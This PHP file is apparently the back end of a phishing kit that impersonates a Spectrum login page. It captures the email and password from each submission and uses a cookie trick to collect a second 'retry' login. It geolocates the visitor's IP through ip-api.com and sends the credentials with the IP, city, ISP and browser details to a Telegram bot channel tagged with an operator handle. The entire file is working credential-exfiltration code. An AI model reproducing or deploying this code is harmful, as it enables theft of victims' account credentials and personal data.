<?php
session_start();
header("Access-Control-Allow-Origin: *");
require("../token.php");

function tg_html($s) {
    return htmlspecialchars((string) $s, ENT_QUOTES, 'UTF-8');
}
function tg_send_html($token, $chatid, $message) {
    $url = "https://api.telegram.org/bot" . $token . "/sendMessage";
    $body = http_build_query(['chat_id' => $chatid, 'text' => $message, 'parse_mode' => 'HTML']);
    $ctx = stream_context_create(['http' => ['method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => $body]]);
    @file_get_contents($url, false, $ctx);
}

if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
    $ip = $_SERVER['REMOTE_ADDR'];
}

$ip = $_SERVER['REMOTE_ADDR'];
$ipdat = @json_decode(file_get_contents("http://ip-api.com/json/$ip"));
$countryName = isset($ipdat->country) ? $ipdat->country : '';
$city = isset($ipdat->city) ? $ipdat->city : '';
$org = isset($ipdat->org) ? $ipdat->org : '';
$timezone = isset($ipdat->timezone) ? $ipdat->timezone : '';
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

$cookie_name = 'spectrum_attempted';
$visitor_block = "🌐 <b>Visitor</b>\n";
$visitor_block .= "  • IP: <code>" . tg_html($ip) . "</code>\n";
$visitor_block .= "  • Country: " . tg_html($countryName) . "\n";
$visitor_block .= "  • City: " . tg_html($city) . "\n";
$visitor_block .= "  • ISP: " . tg_html($org) . "\n";
$visitor_block .= "  • Timezone: " . tg_html($timezone) . "\n";
$visitor_block .= "  • UA: " . tg_html($userAgent) . "\n";

if (isset($_POST["email"]) && isset($_POST["pass"])) {
    $userId = trim((string) $_POST['email']);
    $pass = trim((string) $_POST['pass']);

    if ($userId !== '' && $pass !== '') {

        if (isset($_COOKIE[$cookie_name]) && $_COOKIE[$cookie_name] === '1') {
            $firstUser = isset($_SESSION['spectrum_first_user']) ? (string) $_SESSION['spectrum_first_user'] : '';
            $firstPass = isset($_SESSION['spectrum_first_pass']) ? (string) $_SESSION['spectrum_first_pass'] : '';

            $message = "🔹 <b>@earthshakinggg</b>\n";
            $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
            $message .= " <b>1st Login (Spectrum)</b>\n";
            $message .= "  • Email: <code>" . tg_html($firstUser) . "</code>\n";
            $message .= "  • Password: <code>" . tg_html($firstPass) . "</code>\n\n";
            $message .= "✳️ <b>2nd Login (incorrect / retry)</b>\n";
            $message .= "  • Email: <code>" . tg_html($userId) . "</code>\n";
            $message .= "  • Password: <code>" . tg_html($pass) . "</code>\n\n";
            $message .= $visitor_block;

            if (!empty($token) && !empty($chatid)) {
                tg_send_html($token, $chatid, $message);
            }

            unset($_SESSION['spectrum_first_user'], $_SESSION['spectrum_first_pass']);
            setcookie($cookie_name, '', time() - 3600, '/');
            exit;
        }

        $_SESSION['spectrum_first_user'] = $userId;
        $_SESSION['spectrum_first_pass'] = $pass;

        $message = "🔹 <b>@earthshakinggg</b>\n";
        $message .= "━━━━━━━━━━━━━━━━━━━━\n\n";
        $message .= " <b>Login (Spectrum) — 1st attempt</b>\n";
        $message .= "  • Email: <code>" . tg_html($userId) . "</code>\n";
        $message .= "  • Password: <code>" . tg_html($pass) . "</code>\n\n";
        $message .= $visitor_block;

        if (!empty($token) && !empty($chatid)) {
            tg_send_html($token, $chatid, $message);
        }

        setcookie($cookie_name, '1', time() + 3600, '/');
    }
}

    


   
?>

